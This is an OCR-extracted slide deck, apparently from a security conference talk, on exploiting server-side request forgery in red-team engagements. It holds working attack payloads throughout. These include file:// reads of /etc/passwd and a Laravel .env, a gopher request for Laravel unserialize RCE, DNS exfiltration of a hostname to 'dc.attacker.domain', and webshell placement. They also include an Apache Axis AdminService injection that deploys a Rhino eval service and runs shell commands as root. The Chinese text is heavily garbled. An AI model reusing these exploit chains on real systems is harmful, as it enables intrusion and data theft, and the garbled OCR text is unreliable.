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What is SSRF?

e Server Side Request Forgery
o HBHNiE ~ FENA AR
» IRIBIRAR > I A EEIRE
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Leveraging SSRF

http://www.example.com/getimg.php?imgUrl=https://image.website/logo.|pg
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Leveraging SSRF

imgUrl=https://image.website/logo.jpg
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Leveraging SSRF
imgUrl=https://image.website/logo.jpg

http://127.0.0.1/
https://192.168.10.12/
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Leveraging SSRF

iImgUrl=https://image.website/logo.jpg
http://127.0.0.1/
https://192.168.10.12/
file:///etc/passwd

gopher://internal:80/_POST%20%2Findex.php...
http://attacker.com/302.php?u=file:///etc/passwd
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Leveraging SSRF

imgUrl=https://image.website/logo.jpg
http://127.0.0.1/

> RER > BEA—EBH
https://192.168.10.12/
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Leveraging SSRF
imgUrl=https://image.website/logo.jpg
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Single target
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Info we have

* A leaked intranet domain
* Some leaked user/passwords

Internet Firewall Intranet



¥ 2l SSRF

Request Response
Raw Hex RC4 Raw Hex
GET /& , PR?json= HTTP/1.1 200 OK
I_::EU I L\t & , Tile_name":"™ +Z3 Access—-Control-Expose—-Headers: Content-Disposition
o Frﬁﬁ% jJ SSRF , Largec” " .com"} HTTP/1.1 Cache-Control: no-cache, private
EE D X ﬁb Host: redacted Content-Disposition: attachment;

Accept: application/json, t/plain, *x/x filename= .21p
Accept-Encoding: gzip, de Content-Type: application/zip; charset=utf-8

Accept-Language: zh-TW, zh ,en-US;q=0.8,en;q=0.7 Date:
® H I I P/HTTPS Connection: close Server:
Set-Cook1e:
=yt
° :asa "Eafz
) IEI ;fu;\n\n

Connection: close
Content-Length: 199646
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Info we have

* A leaked intranet domain
* Some leaked user/passwords
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Info we have

A leaked intranet domain

* Some leaked user/passwords

<N
WWW
A4
)
\:/

leaked.intranet.com
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SSRF Recon A3 1

o FHNEZ0NAE 14
o £ HTTP [Oo]fE$ 25 = A 4R F 14
« BB{E —0 » 548 Recon

status code: 200
length: 52296

<!doctype html>
<html lang="zh-TW">
<head>
<meta charset="UTF-8">

<link rel="alternate" type="application/rss+xml" title="
.com/ b

<link rel="alternate" type="application/rss+xml" title="

/ .com/ I

DEV/CORE £,

href="https:/,

-

" href="https:/
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Info we have

* A leaked intranet domain
* Some leaked user/passwords

Internet
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SSRF Recon A3 1

o BRIRML wiki R4
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Info we have

A leaked intranet domain

* Some leaked user/passwords

= — http://user:passwd@wiki.intranet.com/
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SSRF #R48 wiki R4R

« Hl wiki AF ~ B = =55; URL tHERIEER
Results (351 — 360 of 1230)

° *U% SearCh filter i@.;}f-‘g\ﬁzﬁgﬂ «— 26 27 28 29 30 3132 33 34 35 36 37 38 39 40 414243 44 45 46 —
- PEEREE - TE4%S
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Results (351 - 360 of 1230)
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Internet

Firewall

Local File

dev.intranet.com /?file=file:///etc/passwd
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https://example.com/?json={.., "target":"dev.1ntranet.com/?f1le=
file:///var/www/cms/vendor/laravel/framework/src/I1lluminate/
Foundation/Application.php"}



https://example.com/?json=1.., "target”:"dev.1ntranet.com/?file=
file:///var/www/cms/vendor/laravel/framework/src/Illuminate/
Foundation/Application.php"}

class Application extends Container implements ApplicationContract, HttpKernellnterface
{
/ %3k
* The Laravel framework version.
X
* @var string
*/
const VERSION =

Yo da sl

CVE-2018-15133:
PHP Laravel Framework X-XSRF-Token Unserialize RCE



https://example.com/?json={.., " "target":"dev.1ntranet.com/?f1ile=
file:///var/www/cms/vendor/laravel/framework/src/Illuminate/
Foundation/Application.php"}

class Application extends Container implements ApplicationContract, HttpKernellnterface
{
/%%
* The Laravel framework version.
> <
* @var string
*/
const VERSION = '5.1.31"°

https://example.com/?json={.., "target":"dev.1ntranet.com/?f1ile=
file:///var/www/cms/.env"}

APP_KEY=Wo . S vU

[—

APP_ENV=deve lopment

REDISHOST=1ocalhost
REDISPORT=6379

MAIL_DRIVER=smtp
MAIL_HOST=smtp.mailtrap.io
MAIL_PORT=2525



SSRF to RCE

https://example.com/?json=1.., "target”:"dev.1ntranet.com/?file=
gopher%3a%ltk%lfdev.1ntranet.com:80%2f_POST%20%2F%20HTTP%2F1%2E
1%0D%OAHOoSst%3A%20dev . 1ntranet . com%OD%OAConnect1on%3A%20close%d
D%OAX%Z2DXSRF%Z2DTOKEN%3A%20

.<exploit JWT payload>..
%0OD%OA%ADIOA" }
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SSRF to RCE

https://example.com/?json={.., "target":"dev.intranet.com/7?file=

gopher%3a%ltk%lfdev.i1ntranet.com:80%2f_ POSTVZ@VZFVZ@HTTP/ZFlAZE

gopher://dev.1intranet.com:80/_POST / HTTP/1.1
Host: dev.1lntranet.com

Connection: close
X-XSRF-TOKEN:

eyJpdl
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=5 . Connect Back ’:o C&C Server

o . SSRF
o Send
RCE payload
Attacker C&C Server . |
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e SSRF
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A AEAEEx -
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~ |
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A AEAEEx -

10.0.0.0 — 10.255.255.255 -
~ |
172.16.0.0 — 172.31.255.255 17,800,000 tries

192.168.0.0 — 192.168.255.255 #
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SSRF scan private IP

https://example.com/comapny/service/getResult?fURL=http://10.20.6.18/

HTTP/1.1 200 OK

A directory

<script>

window. location. replace("/—/" )

<LSEript>
</html>

DEV/CORE .
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Got directory keyword

10.20.6.18

10.20.0.0/16
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Search
keyword on GitHub
)
9\7\ SSRF
Internet

Firewall

10.20.6.18

10.20.0.0/16
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Got directory keyword
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Found a repo
with similar code! [==

Search
keyword on GitHub -
WWW
o
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example.com

Internet Firewall

Got directory keyword

10.20.6.18

10.20.0.0/16
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Code Review !




Code Review

 Found a blind Groovy Code injection via HT TP GET method

https://example.com/comapny/service/getResult?

fURL=http://10.20.6.18/path/to/exp/?run=
InetAddress.getByName(InetAddress.getLocalHost()
.getHostName()%Z2b" .dc.attacker.domain")

DEV/CORE .
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Code Re

e Found a bli

https://¢€
fURL=httRn

InetAddrea::

(12:
(12:
(12:
.getHosthu:
(12:
(12:
(12:
(12:
(12:
(12:
(12:
(12:

DEVCORE &%mc 12

HTTP/1.1 200 OK

error.

:195:
1057
15:
15:
15:
15:
15:
15:
15:
15:
15:
15:
15:
15:
15:
41 15

* *

* % % F X * X * ¥ * ¥ * *

version 0.4
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iphelix@thesprawl.org

P p—— —

proxylng
proxying
proxying
proxying
proxying
proxying
proxying
proxying
proxying
proxying
proxying

[*] DNSChef started on interface:
U51ng the follow1ng nameservers:

—— C-’
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the
the
the
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response
response
response
response
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response
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type
type
type
type
type
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type
type
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'A' for
'A' for
'A' for
'A' for
'A' for
'AAAA' for
'AAAA' for
'AAAA' for
'AAAA' for
'AAAA' for
'A' for

proxying the response of type 'A' for
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Connect back to attacker’s C2!

- = S -
- S~ R But only allow @
i RN outbound DNS traffic *
Attacker C&C Server T = Y
5. = ..
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RCE exploit P~ T
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Attacker C&C Server

Some relation between these two hosts
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10.20.6.18

e /pmnt/Server/webapps/keyword/uploads/

prd.example.com

e http://prd.example.com/keyword/uploads/



http://prd.example.com/keyword/uploads/a

& CcC & /keyword/uploads//a

Not Found

The requested URL was not found on this server.

Apache/

http://prd.example.com/keyword/a

& CcC & /keyword/a

404 page not found.




Internet

http://prd.example.com/keyword/uploads/

10.20.6.18

/pmnt/Server/webapps/keyword/uploads/

Firewall Intranet



SSRF
Send

RCE exploit

example.com

Internet Firewall

10.20.6.18

Write Webshell to
/pmnt/Server/webapps/keyword/uploads/s.jsp

Intranet



Access Webshell
http://prd.example.com/keyword/uploads/s.jsp

Control 10.20.6.18
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Blind SSRF 127.0.0.1/admin/

0379
3306




Blind SSRF 127.0.0.1/admin/

0379
3306
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NEWS (April 22, 2006): Axis 1.4 Final is now available!
NEWS (October 5, 2005): Axis 1.3 Final is now available!
NEWS (June 15, 2005): Axis 1.2.1 Final is now available!

NEWS (May 04, 2005): Axis 1.2 Final is now available!

NEWS (April 09, 2005): Axis C++ 1.5 Final is now available!
NEWS (March 01, 2005): Axis 1.2 RC3 is now available!

NEWS (February 08, 2005): Axis C++ 1.5 Alpha is now available!
NEWS (December 16, 2004): Axis C++ 1.4 Final is now available!
NEWS (December 03, 2004): Axis C++ 1.4 Alpha is now available!
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What is Apache Axis ?

 Apache eXtensible Interaction System

e Web Service framework

« Java 8§ C++ hix

» Java W 'E 5. Tomcat

« %38 SOAP E&

o 1827 T Axis?2 » Bl Axis AFEHD

DEV/CORE £,
08



https://example.com/axis/services

And now... Some Services

AdminService

AI:IX@T‘_
o FEZZZE || remote host 7ZEY

o P]FHRERE web service




https://example.com/axis/services

And now... Some Services

AdminService

AI:IX@T‘_
o FEZZZE || remote host 7ZEY

o | I ERE web service |

S




Request

Pretty Raw Hex RC4

POST /test/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080

SOAPAction: test

Connection: close

Content-Length: 669

<?xml version="1.0" encoding="utf-8"7>
<soapenv:Envelope xmlns:soapenv="
http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="
http://www.w3.0rg/2001/XMLSchema-instance” xmlns:api="
http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="
http://www.w3.0rg/2001/XMLSchema">
<soapenv:Bod
<depLoymen
http://xml.apache.org/axis/wsdd/" xmlns="
http://xml.apache.org/axis/wsdd/" xmlns:java="
http://xml.apache.org/axis/wsdd/providers/java">
<service name="DeployTest" provider="java:RPC">
<parameter name="className" value="
com.sun.script.javascript.RhinoScriptEngine" />
<parameter name="allowedMethods" value="eval"
/>
</service>

</soapenv:Envelope>

Response

|
2
3

a-: -
Pretty Raw v g N =

HTTP/1.1 200 OK

Server: Apache-Coyote/1l.1
Content-Type:
text/xml;charset=utf-8

Date: Thu, 16 Feb 2023 07:26:12
GMT

Connection: close

<?xml version="1.0" encoding="
UTF-8"7>
<soapenv:Envelope
xmlns:soapenv="
http://schemas.xmlsoap.org/so
ap/envelope/" xmlns:xsd="
http://www.w3.0rqg/2001/XMLSch
ema" xmlns:xsi="
http://www.w3.0rg/2001/XMLSch
ema—-instance">
<soapenv:Body>
<Admin>
Done processing
</Admin>
</soapenv:Body>
</soapenv:Envelope>




Request Response

= =
Pretty Raw Hex RC4 Pretty Raw v = \n =

POST /test/services/AdminService HTTP/1.1 1 HTTP/1.1 200 OK
Host: 127.0.0.1:8080 2 Server: Apache-Coyote/1.1
SOAPAction: test 3 |Content-Type:
Connection: close text/xml; charset=utf-8
Content-Length: 669 4 Date: Thu, 16 Feb 2023 07:26:12
GMT
<?xml version="1.0" encoding="utf-8"7> 5 Connection: close
<soapenv:Envelope xmlns:soapenv=" 6
http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="
http://www.w3.0rg/2001/XMLSchema-instance” xmlns:api="
http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="
http://www.w3.0rg/2001/XMLSchema"> -~
o At amiieer i And now... Some Services
<dep loyment xmlns:
http://xml.apache.org/axis/wsdd/" xmlns="
http://xml.apache.org/ax1s/wsdd/" xmlns java= DeplOYTeSt (WSdl)_
http://xml.apache. =5 5 eval
<service name-"DeployTest' Jrovider= "]ava RPC"> )
<parameter name="className" value=" o eval
com.sun.script.javascript.RhinoScriptEngine"/>

<parameter name="allowedMethods" value="eval" ® Adm1nServ1ce (M)
/> o AdminService

</SerVice> R ¢ JUU'J\_IIVIIJUU]'
</deployment> </soapenv:Envelope>

€— —> C O O localhost: 8080 ;‘"f es t’/l services

</soapenv:Envelope>




=EER GET 55 K2

Request

retty Raw Hex RC4

POST /test/servic
Host: 127.0.0.1:8
SOAPAction: test

Connection: close
Content-Length: 6

<?xml version="1.
<soapenv:Envelo
http://schemas.
http://www.w3.0
http://127.0.0.
http://www.w3.0
<soapenv:Bod
<depLoymen
http://xml.
http://xml.
http://xml
<service
<parame
com.sun
<parame

/>

es/AdminService HTTP/1.1
080

69

9" encoding="utf-8"7>

pe xmlns:soapenv="
xmlsoap.org/soap/envelope/" xmlns:xsi="
rg/2001/XMLSchema-instance"” xmlns:api="
1/Integrics/Enswitch/API" xmlns:xsd="
rg/2001/XMLSchema">

xmlns:
apache.org/axis/wsdd/" xmlns="
apache.org/axis/wsdd/" xmlns:java="

.apache.org/axis/wsdd/providers/java'>

name="DeployTest" provider="java:RPC">
ter name="className" value="
.script.javascript.RhinoScriptEngine" />
ter name="allowedMethods" value="eval"

</service>

</deploymen
DdpPeENvV. bodg
</soapenv:Envel

;

\/

ope>

Response

a-: -
Pretty Raw v o N =

1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1l.1
3 |Content-Type:
text/xml; charset=utf-8
4 Date: Thu, 16 Feb 2023 07:26:12
GMT
5 Connection: close
6

€— —> C O O localhost: 8080 ;‘"f es t’/l services

And now... Some Services

e DeployTlest (wsdl)
o eval
o eval

e AdminService (wsdl)
o AdminService

R ¢ JUU'J\.—IIV b IJUU]'

</soapenv:Envelope>




Enumeration e = request.getParameterNames();

while (e.hasMoreElements()) {

String param = (String) e.nextElement();
if (param.equalsIgnoreCase ("method")) {
method = request.getParameter (param);

else {
args += \<" + paramst ">" + request.getParameter (param) +
HX /M o param 3 u;

AdminService?method=getVersion

<getVersion></getVersion>

"<SOAP-ENV:Body>"
"</SOAP-ENV:Envelope>";

body + "</SOAP-ENV:Body>" +



AdminService?method=<deployment ...></deployment>

Request Response

Pretty Raw Hex RC4 Pretty Raw VvV

POST /test/services/AdminService HTTP/1.1 1 HTTP/1.1 200 OK

Host: 127.0.0.1:8080 2 Server: Apache-Coyote/1l.1
SOAPAction: test 3 Content-Type:
Connection: close text/xml; charset=utf-8
Content-Length: 669 Date: Thu, 16 Feb 2023 07:26:12
GMT
<?xml version="1.0" encoding="utf-8"7?> Connection: close
<soapenv:Envelope xmlns:soapenv="
http://schemas.xmlsoap.org/soap/envelope/" xmlng:xsi=" <?xml version="1.0" encoding="
http://www.w3.0rqg/2001/XMLSchema-instance"” xmlnp¥:api=" UTF-8"7>
http://127.0.0.1/Integrics/Enswitch/API" xmlnspgxsd=" <soapenv:Envelope
http://www.w3.0rqg/2001/XMLSchema"> xmlns:soapenv="
<soapenv:Body> http://schemas.xmlsoap.org/so
<dep loyment xmlns:ns ap/envelope/" xmlns:xsd="
http://xml.apache.org/axis/wsdd/" xmlns=" http://www.w3.0rqg/2001/XMLSch
http://xml.apache.org/axis/wsdd/" xmlns:java=" ema" xmlns:xsi="
http://xml.apache.org/axis/wsdd/providers/java"> http://www.w3.0rqg/2001/XMLSch
<service name="DeployTest" provider="java:RPC"> ema-instance">
<parameter name="className" value=" <soapenv:Body>
com.sun.script.javascript.RhinoScriptEngine" /> <Admin>
<parameter name="allowedMethods" value="eval" Done processing
/> </Admin>
</service> </soapenv:Body>
</soapenv:Envelope>

</soapenv:Envelope>




AdminService?method=<deployment ...></deployment>

<<deployment ...></deployment>> \Q
</<deployment ...></deployment>>

\



AdminService?method=!--><deployment ...></deployment

<l--><deployment ...></deployment>
</l--><deployment ...></deployment>



AdminService?method=!--><deployment ...></deployment

w o w
<l--><deployment ...></deployment>
</l--><deployment ...></deployment>




1. Found Blind SSRF
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1. Found Blind SSRF
2. Found Axis with AdminService

ffv\\ And now... Some Services
a2 &
\ L / e AdminService (wsdl)
o AdminService

—
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1. Found Blind SSRF
2. Found Axis with AdminService ¢eRrE

Deploy evil web service
with AdminService

f;-v\\ And now... Some Services
A A B
L e AdminService (wsdl)

o AdminService

—

V]




http://target.com/?furl=http://
127.0.0.1:8080/ax1s/services/AdminService?
method=!--><deployment .. </deployment



http://target.com/?furl=http://127.0.0.1:8080/ax1s/services/AdminService?
method=

| --><deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="expService" provider=*java:RPC">
<parameter name="className"
value="com.sun.script. javascript.RhinoScriptkEngine”/>
<parameter name="al lowedMethods" value="eval"/>
<typeMapping
deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory”
type="7java:javax.script.SimpleScriptContext”
gname="ns:SimpleScriptContext”
serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"

xmlns:ns="urn:beanservice" regenerateklement=“false"></typeMapping>
</service>

</deployment



http://target.com/?furl=http://127.0.0.1:8080/ax1s/services/AdminService?
method=

| --><deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">

</deployment



http://target.com/?furl=http://127.0.0.1:8080/ax1s/services/AdminService?
method=

| --><deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="expService" provider="java:RPC">
<parameter name="className"
value="com.sun.script.javascript.RhinoScriptEngine"/>
<parameter name="al lowedMethods" value="eval"/>
<typeMapping
deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory”
type="java:javax.script.SimpleScriptContext”
gname="ns:SimpleScriptContext”
serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"

xmlns:ns="urn:beanservice" regenerateElement="false"></typeMapping>
</service>

</deployment



http://target.com/?furl=http://127.0.0.1:8080/ax1s/services/AdminService?
method=

<parameter name="className"
value="com.sun.script.javascript.RhinoScriptEngine"/>

<parameter name="al lowedMethods" value="eval"/>

<typeMapping
deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory”
type="7java:javax.script.SimpleScriptContext”
gname="ns:SimpleScriptContext”
serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
xmlns:ns="urn:beanservice" regenerateklement="false"></typeMapping>



Response

Raw Hex

HTTP/2 200 OK

2furl= 1

http://127.0.0.1:8080/ /services/adminService?method=% 2
2521%252D%252D%253E%253Cdeployment%s2520xmlns%253D%2522http%253A%2 3
52F%252Fxml%252Eapache%252E0rg%252Faxis%252Fwsdd%252F%2522%2520xm 4
Ins%253Ajava%s253D%2522http%s253A%252F%252Fxm1%252Eapache%252E0rg%?2
52Fax1s%252Fwsdd%252Fproviders%s252Fjava%s2522%253E%253Cservice%252
Oname%253D%2522expService%s2522%2520provider%s253D%2522java%s253ARPC
%2522%253E%253Cparameter%2520name%253D%2522className%2522%2520val
ue%253D%2522com%s252Esun%252Escript%252Ejavascript%s252ERhinoScript
Engine%2522%2520%252F%253E%253Cparameter%s2520name%253D%2522allowe
dMethods%2522%2520value%253D%2522eval%s2522%2520%252F%253E%253Ctyp
eMapping%2520deserializer%s253D%25220rg%252Eapache%s252Eaxis%252Een
coding%252Eser%s252EBeanDeserializerFactory%2522%2520type%253D%252
2java%s253Ajavax%s252Escript%s252ESimpleScriptContext%2522%2520gname 8
%253D%2522n5%253ASimpleScriptContext%2522%2520serializer%s253D%252 9
20rg%252Eapache%252Eaxis%252Eencoding%252Eser%s252EBeanSerializerF 10 I R
actory%2522%2520xmlns%253Ans%253D%2522urn%253Abeanservice%s2522%25 11 I p
20regenerateElement%s253D%2522false%2522%253E%253(C%252FtypeMapping 12 rre eva nt es onse
%253E%253C%252Fservice%s253E%253C%252Fdep loyment HTTP/1.1 13

14

15

Send double encoded SSRF

payload to deploy expService:




Request Response

Pretty Raw Hex RC4 =] \n Pretty Raw Hex

GET / 2furl= 1 HTTP/2 200 OK
http://127.0.0.1:8080/ /services/adminService?method=% 2
2521%252D%252D%253E%253Cdeplovment%s2520xmlns%253D%2522http%253A%2 3
52F%252Fxm1%252Eapach

lns%253Ajava%s253D%252

e And Now... Some Services

%2522%253E%253Cparame
ue%s253D%2522com%252Es
Engine%2522%2520%252F
dMethods%2522%2520val
eMapping%2520deserial

coding%252Eser%s252EBe S i ( d/)
2java%s253Ajavax%s252Es - exp erV|Ce ' & .
%253D%2522n5%253ASimp

20rg%s252Eapache%252Ezs O I
actory%2522%2520xmlns eva

20regenerateElement%2
%253E%253C%252Fservic

Send
paylo o AdminService

22




SSRF

Deploy evil web service
with AdminService

And now... Some Services

e AdminService (wsdl)
o AdminService




SSRF

Deploy evil web service
with AdminService

And now... Some Services

e expService (wsdl)

o eval
o eval

e AdminService (wsdl)
o AdminService




Execute Arbitrary Java code via expService

And now... Some Services

e expService (wsdl)
o eval
o eval

e AdminService (wsdl)
o AdminService




Response

Hex RC4 = B — Pretty Raw Hex

/services/expService TP/1.1

7 <?xml version="1.0" encoding="UTF-8"7>
<soapenv:Envelope xmlns:soapenv="
http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd
="http://www.w3.0rg/2001/XMLSchema"” xmlns:xsi="
http://www.w3.0rg/2001/XMLSchema—-instance">

<soapenv:Body>
<evalResponse soapenv:encodingStyle="
http://schemas.xmlsoap.org/soap/encoding/">
<evalReturn xsi:type="soapenc:string"

http://schemas.xmlsoap.org/soap/encoding
<soap:Envelope xmlns:xsi=" root
http://www.w3.0rg/2001/XMLSchema-instance" xmlns:xsd= uid=0(root) gid=0(root) groups=0(root)
"http://www.w3.0rg/2001/XMLSchema"” xmlns:soap=" ey LR e .
http://schemas.xmlsoap.org/soap/envelope/"> /evalResponse>
<soap:Body> oapenv:Body>
<eval> apenv:Envelope>
<arg® xmlns="">
<! [CDATA[function test(){ var pb = new
java.lang.ProcessBuilder('/bin/bash', '-c', 'wh
o'+'ami'+'&'+'&'+'1i'+'d"'); var process =
pb.start(); var ret = new
java.util.Scanner(process.getInputStream()).u
seDelimiter('\\A').next(); return ret; }
test();11>
</argo>
<argl xmlns="" xsi:type="
urn:SimpleScriptContext"” xmlns:urn="
urn:beanservice">
</argl>
</eval>
</soap:Body>
</soap:Envelope>]
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